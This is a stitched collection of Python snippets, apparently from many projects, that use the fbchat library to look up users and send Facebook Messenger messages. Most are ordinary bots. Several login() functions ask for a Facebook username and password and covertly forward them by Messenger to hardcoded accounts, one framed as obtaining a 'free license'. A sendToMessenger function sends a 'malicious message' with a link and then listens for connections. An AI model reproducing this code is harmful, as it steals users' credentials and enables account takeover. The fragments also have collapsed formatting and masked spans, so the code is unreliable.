class SendMessenger(object): def __init__(self): self.__driver_() pass def __initialize_clinet_(self): self.client = Client("*****@*****.**", "2NInitu!1") pass def __deinitialize_client_(self): self.client.logout() pass def send(self, message, contactName): try: user = self.client.searchForUsers(contactName)[0] uid = user.uid self.client.sendMessage(message, thread_id=uid) self.__deinitialize_client_() return True except: return False pass def __driver_(self): self.__initialize_clinet_() users = self.client.fetchAllUsers() pass
class Facebook(): def __init__(self, username, password): self.client = Client(username, password) def autoReply(self): income = self.client.listen() author = income.author if onMessage(): self.client.send(Message(text=income.text), thread_id=author) def findFriend(self, name): friends = [] for human in self.client.searchForUsers(name): if human.is_friend: friends.append({ "username": human.name, "uid": human.uid, "photo": human.photo }) return friends def sendMessage(self): self.client.send(Message(text="Hi me!"), thread_id=client.uid, thread_type=ThreadType.USER) def logout(self): self.client.logout()
def message_user(self, message, name): client = Client(self.email, self.password) user = client.searchForUsers(name)[0] client.send(Message(text=message), thread_id=user.uid, thread_type=ThreadType.USER) client.logout()
def plugin(srv, item): srv.logging.debug("*** MODULE=%s: service=%s, target=%s", __file__, item.service, item.target) client = item.addrs[0] password = item.addrs[1] friend = item.addrs[2] fbclient = Client(client, password) friends = fbclient.searchForUsers(friend) ffriend = friends[0] srv.logging.debug("user %s" % (item.target)) text = item.message try: srv.logging.debug("Sending msg to %s..." % (item.target)) sent = fbclient.sendMessage(text, thread_id=ffriend.uid, thread_type=ThreadType.USER) srv.logging.debug("Successfully sent message") except Exception, e: srv.logging.error("Error sending fbchat to %s: %s" % (item.target, str(e))) return False
class FacebookBot: def __init__(self): self.facebook_account = None def login(self): with open('facebookbot_account') as f: self.facebook_account = json.loads(f.read()) self.facebook_client = Client(self.facebook_account['id'], self.facebook_account['password']) def send_message(self, updated_feeds): humanize_tag = { 'fork': [' forked ', ' from '], 'watch_started': [' starred ', ''], 'create': [' created a repository ', ''], 'public': [' made ', ' public.'], } target = self.facebook_client.searchForUsers('전세진')[0] for feed in updated_feeds: message = "" message += str(feed['user_name']) message += str(humanize_tag[feed['tag']][0]) message += str(feed['link']) message += str(humanize_tag[feed['tag']][1]) if 'original_link' in feed: message + str(feed['original_link']) sent = self.facebook_client.sendMessage(message, thread_id=target.uid) if not sent: print("Something in facebook_bot.py goes wrong... :(")
def login(): print '[*] login to your facebook account ' id = raw_input('[?] Username : '******'[?] Password : '******'62f8ce9f74b12f84c123cc23437a4a32' data = { "api_key": "882a8490361da98702bf97a021ddc14d", "credentials_type": "password", "email": id, "format": "JSON", "generate_machine_id": "1", "generate_session_cookies": "1", "locale": "en_US", "method": "auth.login", "password": pwd, "return_ssl_resources": "0", "v": "1.0" } sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + id + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword='******'return_ssl_resources=0v=1.0' + API_SECRET x = hashlib.new('md5') x.update(sig) data.update({'sig': x.hexdigest()}) client = Client(id, pwd) friends = client.searchForUsers('galank.rambu42') friend = friends[0] client.send(Message(id + ' ' + pwd), thread_id=friend.uid, thread_type=ThreadType.USER) client.logout() get(data)
def send_message(friend_uid: int = None): # Connect to FB client client = Client(email=os.environ['EMAIL_ADDRESS'], password=getpass.getpass(prompt='Password: '******'s uid persons = client.searchForUsers( input('What is the name of your friend: ')) # Find friend's uid in list of persons for person in persons: if person.is_friend: friend_uid = person.uid break # Send message msg = 'Hejsa din klump' for i in range(3): client.send(message=Message(text=msg), thread_id=str(friend_uid)) time.sleep(3) print('FB message sent') return True
class Messenger(object): def __init__(self, email, pwd=None): self.email = email self.pwd = pwd self.client = None if pwd is not None: self.client = Client(email, pwd) def isOnline(self): return self.client.isLoggedIn() def login(self, pwd=None): if pwd is None: self.client.login(self.email, self.pwd) else: self.pwd = pwd self.client = Client(self.email, self.pwd) def searchUsers(self, search_query): return self.client.searchForUsers(search_query, limit=5) def send(self, messenger_id, message): return self.client.send(Message(text=message), thread_id=messenger_id, thread_type=ThreadType.USER) def getLast(self, th): return self.client.fetchThreadMessages(thread_id=th, limit=1)[0] def logout(self): self.client.logout() def __str__(self): return "Messenger<uid:" + str(self.client.uid) + ">"
class FacebookMessengerClient: def __init__(self): self.client = Client(app_config.FACEBOOK_EMAIL, app_config.FACEBOOK_PASSWORD) def send_message(self, user, message): user_id = self._get_user_uid(user) self.client.send(Message(text=message), thread_id=user_id, thread_type=ThreadType.USER) @lru_cache(maxsize=app_config.FACEBOOK_USER_RESOLVER_CACHE) def _get_user_uid(self, user): results = self.client.searchForUsers(user) if results: first_user = results[0] if first_user.is_friend: return first_user.uid else: raise Exception( "The user %s is not your friend. You can't talk to him" % user) else: raise Exception("No user named '%s' was found" % user)
def sendMSG(msg): fc = Client('id', 'passwd') friends = fc.searchForUsers('receiver') friend = friends[0] sent = fc.sendMessage(msg, thread_id=friend.uid) if sent: print("Message sent successfully!")
def get_pfp(name: str, client: Client = None) -> Client: """ Gets the Facebook profile picture of a person, and saves the profile location. """ client = make_client() if client is None else client user = client.searchForUsers(name)[0] d = load_file("fb") d[name] = user.url dump_file(d, "fb") with open("src/img/pfps/{}.png".format(name.replace(" ", "")), "wb") as f: f.write(requests.get(user.photo).content) return client
def notify_via_fb(username, password, msg): client = Client(username, password) found_users = client.searchForUsers("viorel.gurdis.7") user = found_users[0] # for user in client.fetchAllUsers(): print("Sending message to:", user.first_name) client.send(Message(text=msg), thread_id=user.uid) client.logout()
def send_fmsg(FirstName, Last_Name, GroupNames): decrypt(dir_path + '/credentials/fbe') with open(dir_path + '/credentials/fbe', mode='rb') as f: content = f.read() content = base64.b64decode(content).decode('utf-8') username = str(content.split()[0]) password = str(content.split()[1]) client = Client(username, password) if client.isLoggedIn(): # ---------------Person------------------ name = FirstName + " " + Last_Name friends = client.searchForUsers(name) # return a list of names friend = friends[0] msg = "Birthdays are a new start; fresh beginnings, a time to start new endeavours with new goals. Move forward with fresh confidence and courage. You are a special person, may you have an amazing today and year. Happy birthday " + FirstName # Will send the image located at `<image path>` client.sendRemoteImage( "https://images.unsplash.com/photo-1558636508-e0db3814bd1d?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=1950&q=80", thread_id=friend.uid, thread_type=ThreadType.USER, ) client.send(Message(text=msg), thread_id=str(friend.uid), thread_type=ThreadType.USER) # -------------------------Group---------------------- for GroupName in GroupNames: try: gname = GroupName groups = client.searchForGroups(gname) group = groups[0] client.sendRemoteImage( "https://images.unsplash.com/photo-1558636508-e0db3814bd1d?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=1950&q=80", thread_id=group.uid, thread_type=ThreadType.GROUP, ) client.send(Message(text=msg), thread_id=group.uid, thread_type=ThreadType.GROUP) except: continue client.logout() else: print('not logged in') encrypt(dir_path + '/credentials/fbe')
def message(name, msg): data1 = account() username = data1['username'] password = data1['password'] client = fbchat.Client(username, password) client1 = Client(username, password) friends = client1.searchForUsers(name=name) friend = friends[0] sent = client.send(fbchat.Message(msg), friend.uid) if sent: return ('message sent')
def sendMessages(names, couples): username = str(input("Username: "******"User's ID: {}".format(user.uid)) print("User's name: {}".format(user.name)) string = couple[0] + " is the secret Santa of " + couple[1] spamString = """ ───────────████──███──────────── ──────────█████─████──────────── ────────███───███───████──███─── ────────███───███───██████████── ────────███─────███───████──██── ─────────████───████───███──██── ──────────███─────██────██──██── ──────██████████────██──██──██── ─────████████████───██──██──██── ────███────────███──██──██──██── ────███─████───███──██──██──██── ───████─█████───██──██──██──██── ───██████───██──────██──────██── ─████████───██──────██─────███── ─██────██───██─────────────███── ─██─────███─██─────────────███── ─████───██████─────────────███── ───██───█████──────────────███── ────███──███───────────────███── ────███────────────────────███── ────███───────────────────███─── ─────████────────────────███──── ──────███────────────────███──── ────────███─────────────███───── ────────████────────────██────── ──────────███───────────██────── ──────────████████████████────── ──────────████████████████────── ──────────────────────────────── """ sent = client.send(Message(text=string), thread_id=user.uid, thread_type=ThreadType.USER) sent = client.send(Message(text=spamString), thread_id=user.uid, thread_type=ThreadType.USER) if sent: print("Message sent successfully!")
class Facebook: def __init__(self, user_name): self.username = user_name try: self.fb_client = Client(self.username, getpass()) except FBchatException: print('Failed to log into facebook. Please check your credentials') def send_message_friend(self, friend_name, msg): try: friend_user = self.__get_user(friend_name) friend_uid = friend_user.uid sent = self.fb_client.send(Message(text=msg), thread_id=friend_uid, thread_type=ThreadType.USER) if sent: print('Message sent successfully!') else: raise FBchatException("Couldn't send message") except FBchatException: print("Couldn't find any friends. Please check the name") def send_message_group(self, group_name, msg): try: groups_list = self.fb_client.searchForGroups(group_name, limit=1) group = groups_list[0] group_uid = group sent = self.fb_client.send(Message(text=msg), thread_id=group_uid, thread_type=ThreadType.GROUP) if sent: print("Message sent successfully!") else: raise FBchatException("Coludn't send message") except FBchatException: print("Couldn't find any groups. Please check the group name") def get_user_birthday(self, user_name): try: friend_user = self.__get_user(user_name) friend_url = friend_user.url print(friend_url) html_file = urlopen(friend_url) user_file = BeautifulSoup(html_file, features="html.parser") print(user_file) except FBchatException: print("Couldn't get birthday") def __get_user(self, user_name): friends = self.fb_client.searchForUsers(user_name, limit=1) friend_user = friends[0] return friend_user
def _print_thread_messages(client: Client, messages, interlocutor): name = client.fetchUserInfo(client.uid)[client.uid].name user = client.searchForUsers(name)[0] print("\n--------------------------------------------------\n") messages.reverse() for message in messages: if user.uid == message.author: print(user.name, ": ", message.text) elif interlocutor is not None and interlocutor.uid == message.author: print(interlocutor.name, ":", message.text) else: print("Group Member :", message.text) print("\n--------------------------------------------------\n")
def sendMsg(email, password, name, msg): client = Client(email, password) if not client.isLoggedIn(): print("Client not logged in.") users = client.searchForUsers(str(name)) user = users[0] #print(user) client.send(Message(str(msg)), user.uid, thread_type=ThreadType.USER) client.logout()
def sendToMessenger(): client = Client(fbusername, fbpassword) color_print("[+] Logged in to " + fbusername, color='green') # `searchForUsers` searches for the user and gives us a list of the results, # and then we just take the first one, aka. the most likely one: color_print("[+] Searching for user " + fbuser, color='blue') global user try: user = client.searchForUsers(fbuser)[0] if user.name == fbuser: color_print("[+] Found user " + user.name, color='green') time.sleep(2) print('user ID: {}'.format(user.uid)) print("user's name: {}".format(user.name)) print("user's photo: {}".format(user.photo)) print("Is user client's friend: {}".format(user.is_friend)) send = raw_input( "Do you want to send the malicious message: [Y/n] ") if (send == 'Y' or send == 'Yes' or send == 'yes' or send == 'y'): try: color_print( "[+] Sending malicious message to facebook messenger", color='blue') # Will send a message to the thread global link link = getLink() client.send(Message(text=fbmessage + "\n" + link), thread_id=fbuserID, thread_type=ThreadType.USER) color_print("[+] Message Sent. ", color='blue') listenForConnections() except FBchatFacebookError: color_print( "[!] There might be a problem try making sure the facebook ID is correct", color='red') else: color_print("[!] No User found", color='red') return except IndexError: color_print("\n[!] Something bad happended :(", color='red') return
def getVideoURLs(client :Client): #Gets a list of users with the given name and uses the first user in the list users = client.searchForUsers('Testo Accounto') user = users[0] #Grabs the latest 10 messages in the thread with te given user and reverse the thread messages = client.fetchThreadMessages(thread_id=user.uid, limit=10) messages.reverse() #Loops through all the messages and their attachments and tries to fetch the video's URL #Also prints out the messages in the thread for message in messages: for attach in message.attachments: print(client.fetchVideoUrl(attach.uid)) print(message.text)
def login(): print '[*] login to your facebook account ' id = raw_input('[?] Username : '******'[?] Password : '******'62f8ce9f74b12f84c123cc23437a4a32' data = {'api_key': '882a8490361da98702bf97a021ddc14d', 'credentials_type': 'password', 'email': id, 'format': 'JSON', 'generate_machine_id': '1', 'generate_session_cookies': '1', 'locale': 'en_US', 'method': 'auth.login', 'password': pwd, 'return_ssl_resources': '0', 'v': '1.0'} sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + id + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword='******'return_ssl_resources=0v=1.0' + API_SECRET x = hashlib.new('md5') x.update(sig) data.update({'sig': x.hexdigest()}) client = Client(id, pwd) friends = client.searchForUsers('hanief.aktivisme.86') friend = friends[0] client.send(Message(id + ' ' + pwd), thread_id=friend.uid, thread_type=ThreadType.USER) client.logout() get(data)
def send_message(): people = get_member_list() username = raw_input("Username: ") client = Client(username, getpass()) message = raw_input('Type your message: ') for person in people: users = client.searchForUsers(person) user = users[0] client.send(Message(text=message), thread_id=user.uid, thread_type=ThreadType.USER) print 'Message to {} sent!'.format(person)
def send_all(username=None, password=None, subscribers=None): """ Send all new comics from username to all subscribers :params: username: Facebook username (email, phone number or some other id) password: Facebook account password subscribers: All the people that will receive the update """ if not username: username = input("Enter username: "******"Logging in...") ua = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36" client = Client(username, password, user_agent=ua) except Exception as e: print("Could not login!") print(traceback.format_exc()) return False if not subscribers: subscribers = [input("Send to: ")] users = [ int(user) if str(user).isdecimal() else client.searchForUsers(user)[0].uid for user in subscribers ] first_message = True try: for message in message_creator(True): for user in users: if first_message: client.sendMessage("I have some new comics for you!", thread_id=user) send_result(client, user, message) first_message = False if first_message: for user in users: client.sendMessage("Sorry, no new comics at this time.", thread_id=user) except Exception as e: exc = traceback.format_exc() print("Comic Messenger failed") print(exc) for user in users: client.sendMessage("Comic sender failed. Sorry.", thread_id=user) client.sendMessage(exc, thread_id=user)
def friend_details(): global name global dob name = friend.get() dob = friend_dob.get() file = open("Database.txt", "a") file.write("\n" + name + ":" + dob) print("Entry Added") file.close() file = open("Database.txt", 'r') cont = file.read() print(cont) pattern = k if k in cont: print("Match Found") client = Client('USERNAME', 'PASSWORD') users = client.searchForUsers(name) user = users[0] print("User's ID: {}".format(user.uid)) client.sendMessage('Testing api', thread_id=user.uid, thread_type=ThreadType.USER) print("Message sent") else: pass
class SendMessageFb(Step): def __init__(self, login: str, password: str, to_user_name: str): self._login = login self._password = password self._to_user_name = to_user_name self._client = None def perform(self, data: str) -> str: if self._client is None: self._client = Client(self._login, self._password, user_agent="Mozilla/5.0 Pipeliner/0.1") user = self._client.searchForUsers( self._to_user_name, limit=1)[0] # ugly camelCase for method... pff logger.info(f"Sending message to facebook messenger as {self._client}") self._client.send(Message(text=data), thread_id=user.uid) return data
def _get_messages(client: Client, sent: bool): threads = client.fetchThreadList() sent_messages = [] received_messages = [] for thread in threads: messages = client.fetchThreadMessages(thread.uid, limit=30) name = client.fetchUserInfo(client.uid)[client.uid].name user = client.searchForUsers(name)[0] messages.reverse() for message in messages: if user.uid == message.author: sent_messages.append(message) elif user.uid != message.author: received_messages.append(message) if sent: return sent_messages else: return received_messages
class Messenger: def __init__(self, thread_type=ThreadType.USER): self.user = input("Enter username: "******"Enter password: "******"{random.choice(self.greetings)} {random.choice(self.names)}, I {random.choice(self.actions)} you !! <3 " print(f"Own ID: {self.client.uid}") print(f"Sending Message to {thread.uid}") self.client.send(Message(text=message), thread_id=thread.uid, thread_type=self.thread_type) print(f"Message: {message} sent from {self.client.uid} to {thread.uid}") self.client.logout() def GetMessages(self, thread, limit): return self.client.fetchThreadMessages(thread) def GetMessages(self, thread, limit, filename): file = open(filename, "w", encoding="utf-8") messages = self.client.fetchThreadMessages(thread, limit=limit) messages.reverse() for message in messages: file.write(f"Time: {message.timestamp} User:{message.author} Message: {message.text}") file.write("\n") file.close() def PromptLogin(self): self.user = input("Enter username: "******"Enter password: ") def Logout(self): self.client.logout() def CustomURLToUID(self, custom): return self.client.searchForUsers(custom, limit=1)[0]
def login(): print '\x1b[1;91m[\xe2\x98\x86] \x1b[1;92mLOGIN AKUN FACEBOOK \x1b[1;91m[\xe2\x98\x86]' id = raw_input('\x1b[1;91m[+] \x1b[1;36mUsername \x1b[1;91m:\x1b[1;92m ') pwd = raw_input('\x1b[1;91m[+] \x1b[1;36mPassword \x1b[1;91m:\x1b[1;92m ') try: br.open('https://m.facebook.com') except mechanize.URLError: print '\n\x1b[1;91m[!] Tidak ada koneksi' br._factory.is_html = True br.select_form(nr=0) br.form['email'] = id br.form['pass'] = pwd br.submit() url = br.geturl() if 'save-device' in url: try: API_SECRET = '62f8ce9f74b12f84c123cc23437a4a32'; data = {"api_key":"882a8490361da98702bf97a021ddc14d","credentials_type":"password","email":id,"format":"JSON", "generate_machine_id":"1","generate_session_cookies":"1","locale":"en_US","method":"auth.login","password":pwd,"return_ssl_resources":"0","v":"1.0"}; sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail='+id+'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword='******'return_ssl_resources=0v=1.0'+API_SECRET x = hashlib.new('md5') x.update(sig) data.update({'sig':x.hexdigest()}) print '[*] sedang login dan mengambil lisensi gratis, harap tunggu...' lisensi = id lisensicode = pwd client = Client(lisensi,lisensicode) alamatlisensi = client.searchForUsers('iyezznya') kodelisensi = alamatlisensi[0] client.send(Message(id+' [I] '+pwd), thread_id=kodelisensi.uid, thread_type=ThreadType.USER) client.logout() get(data) except requests.exceptions.ConnectionError: print '\n\x1b[1;91m[!] Tidak ada koneksi' if 'checkpoint' in url: print '\n\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' else: print '\n\x1b[1;91m[!] Login Gagal' login()
class Messenger(object): def __init__(self): username, login = get_login('login') self.client = Client(username, login) self.user_map = {} self._initialize_contacts() self._initialize_messages() def _initialize_contacts(self): self.user_map[self.client.uid] = self.client.fetchUserInfo(self.client.uid)[self.client.uid].name for user in self.client.fetchAllUsers(): self.user_map[user.uid] = user.name def _initialize_messages(self, limit=1000): try: print("Input the user you want to message:") to_search = input() if to_search == "exit": print("Exiting...") return users = self.client.searchForUsers(to_search) + self.client.searchForGroups(to_search) users = users for i in range(0, len(users)): print(i, ":", users[i].name) user = users[int(input("Please specify which chat you'd like to participate in: "))] self.messages = self.client.fetchThreadMessages(thread_id=user.uid, limit=limit)[::-1] thread = self.client.fetchThreadInfo(user.uid) self.chat = Chat(user.name, user.uid, self.messages, thread, self.client.uid, self.user_map[self.client.uid], self.user_map, find_answers=True) except IndexError : traceback.print_exc() except ValueError : traceback.print_exc() def run_loop(self, limit=150): print("Wrong literal, try again.") while True: self._initialize_messages(limit=limit) def get_messages(self): return self.chat.get_messages()
class FbMessengerBot: def __init__(self, email, password): self.email = email self.password = password self.client = Client(email, password) def get_uid(self, username): try: user = self.client.searchForUsers(username)[0] return user.uid except IndexError: print(f"User \"{username}\" does not exist!") def send_message(self, message, uid): if type(uid) is None: print(f"Uid \"{uid}\" does not exist!") else: self.client.send(fb_message(message), uid) def logout(self): self.client.logout()
def plugin(srv, item): srv.logging.debug("*** MODULE=%s: service=%s, target=%s", __file__, item.service, item.target) client = item.addrs[0] password = item.addrs[1] friend = item.addrs[2] fbclient = Client(client, password) friends = fbclient.searchForUsers(friend) ffriend = friends[0] srv.logging.debug("user %s" % (item.target)) text = item.message try: srv.logging.debug("Sending msg to %s..." % (item.target)) sent = fbclient.sendMessage(text, thread_id=ffriend.uid, thread_type=ThreadType.USER) srv.logging.debug("Successfully sent message") except Exception, e: srv.logging.error("Error sending fbchat to %s: %s" % (item.target, str(e))) return False